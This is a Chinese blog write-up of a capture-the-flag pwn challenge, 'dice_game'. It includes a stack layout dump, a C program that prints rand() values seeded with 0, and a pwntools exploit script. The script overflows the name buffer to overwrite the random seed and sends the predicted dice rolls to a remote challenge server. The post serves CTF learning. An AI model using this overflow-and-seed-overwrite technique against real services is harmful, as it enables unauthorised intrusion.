美文网首页
二_1.dice_game_64/产生随机数字

二_1.dice_game_64/产生随机数字

作者: Zero_0_0 | 来源:发表于2019-04-26 20:29 被阅读0次
哇! 怎么这这么多机制全开了

思考:
1.又是一个产生随机数字的题,考察的是写脚本的能力。(先绕过猜解数字)(切记一定是time(0),应为time(0)是可以预测的)
2.然后我们在主程序里发现如下,我们通过循环就可以拿到我们的flag

{
  char s; // [sp+10h] [bp-70h]@1
  FILE *stream; // [sp+78h] [bp-8h]@1

  printf("Congrats %s\n", a1);
  stream = fopen("flag", "r");
  fgets(&s, 100, stream);
  puts(&s);
  return fflush(stdout);
}
如果遇见类似的猜点数的题看栈的分布情况

1.我们将数据覆盖到send的地方,将我们自己跑出来的50个数据,填充进去。 不就成功的破解了他的程序了嘛!

-0000000000000050 ;
-0000000000000050
-0000000000000050 buf             db 55 dup(?)    //我们输入名字的地方
-0000000000000019 var_19          db ?
-0000000000000018 var_18          dq ?
-0000000000000010 seed            dd 2 dup(?)  //产生随机函数的地方
-0000000000000008                 db ? ; undefined
-0000000000000007                 db ? ; undefined
-0000000000000006                 db ? ; undefined
-0000000000000005                 db ? ; undefined
-0000000000000004 var_4           dd ?
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables
编写产生随机数的脚本(gcc 脚本.c -o 输出的名字
#include <stdio.h> 
#include <stdlib.h>


int main(){
  srand(0);  ##切记一定是0 ,第一次尝试错误了  没有将种子设置为0
  for(int i=0;i<50;i++)

    printf("%d,",rand()%6 +1);
    printf("\n");
    return 0;
}
EXP
from pwn import *


#DEBUG = 1
#if DEBUG:
#p = process('./dice_game')    ##不知道什么原因 if else总是报错,还是按照常规思路链接服务器
#else:
p = remote("111.198.29.45","50891")


asm =[2,5,4,2,6,2,5,1,4,2,3,2,3,2,6,5,1,1,5,5,6,3,4,4,3,3,3,2,2,2,6,1,1,1,6,4,2,5,2,5,4,4,4,6,3,2,3,3,6,1]


payload = 'A'*0x40 + p64(0)
p.recvuntil("know your name: ")
p.sendline(payload)


for x in asm:
        p.recvuntil("Give me the point(1~6): ")
        p.send(str(x) + '\n')


p.interactive()

相关文章

  • 二_1.dice_game_64/产生随机数字

    思考:1.又是一个产生随机数字的题,考察的是写脚本的能力。(先绕过猜解数字)(切记一定是time(0),应为tim...

  • c#实现随机产生不重复数字原理

    c#实现随机产生不重复数字原理:随机产生数字 及检查重复 随机产生使用关键字:Random

  • 数码管扩展之:预测下一个数字

    1 图示 2 目标一 :产生0-9数字 3 目标二: 按键 产生随机数字 4 目标三: 预测下一个将要产生的数字 ...

  • JS实现数字字母混合验证码(数字+大写字母+小写字母)

    ?作者主页? 我之前写了一篇《JS实现随机验证码》,可以产生随机数字、随机颜色、随机位置,但只能产生数字验证码,今...

  • Pseudo-random algorithm: prd and

    计算机产生的大多数随机数都是伪随机数。是按照分布概率产生随机数字的过程,数字在概率分布上满足随机要求,但实际上是计...

  • Random 练习

    猜数字游戏生产一个随机数字,一旦产生,不再变化

  • JAVA安全与加密

    一. 随机数 随机算法的起源数字称为种子数(seed),在种子数的基础上进行一定的变换,从而产生需要的随机数字。...

  • [Java]02.实现猜数字

    简介 说明:猜数字是一个经典的小游戏,程序先产生一个随机数,然后用户输入数字,程序将输入的数字与随机数进行对比,给...

  • C-猜数字游戏

    目的 通过实现猜数字小游戏,达到掌握随机数的产生,去除重复数据,排序的作用 技术 随机数的产生,去除重复数据,排序...

  • 2017.12.11悠悠上學記

    小班的数学课上孩子们自己制作数字发生器,随机产生二位的数字,并利用手上的发生器表示数字帮助计算。随后是咱们的生活与...

网友评论

      本文标题:二_1.dice_game_64/产生随机数字

      本文链接:https://www.haomeiwen.com/subject/lxgqnqtx.html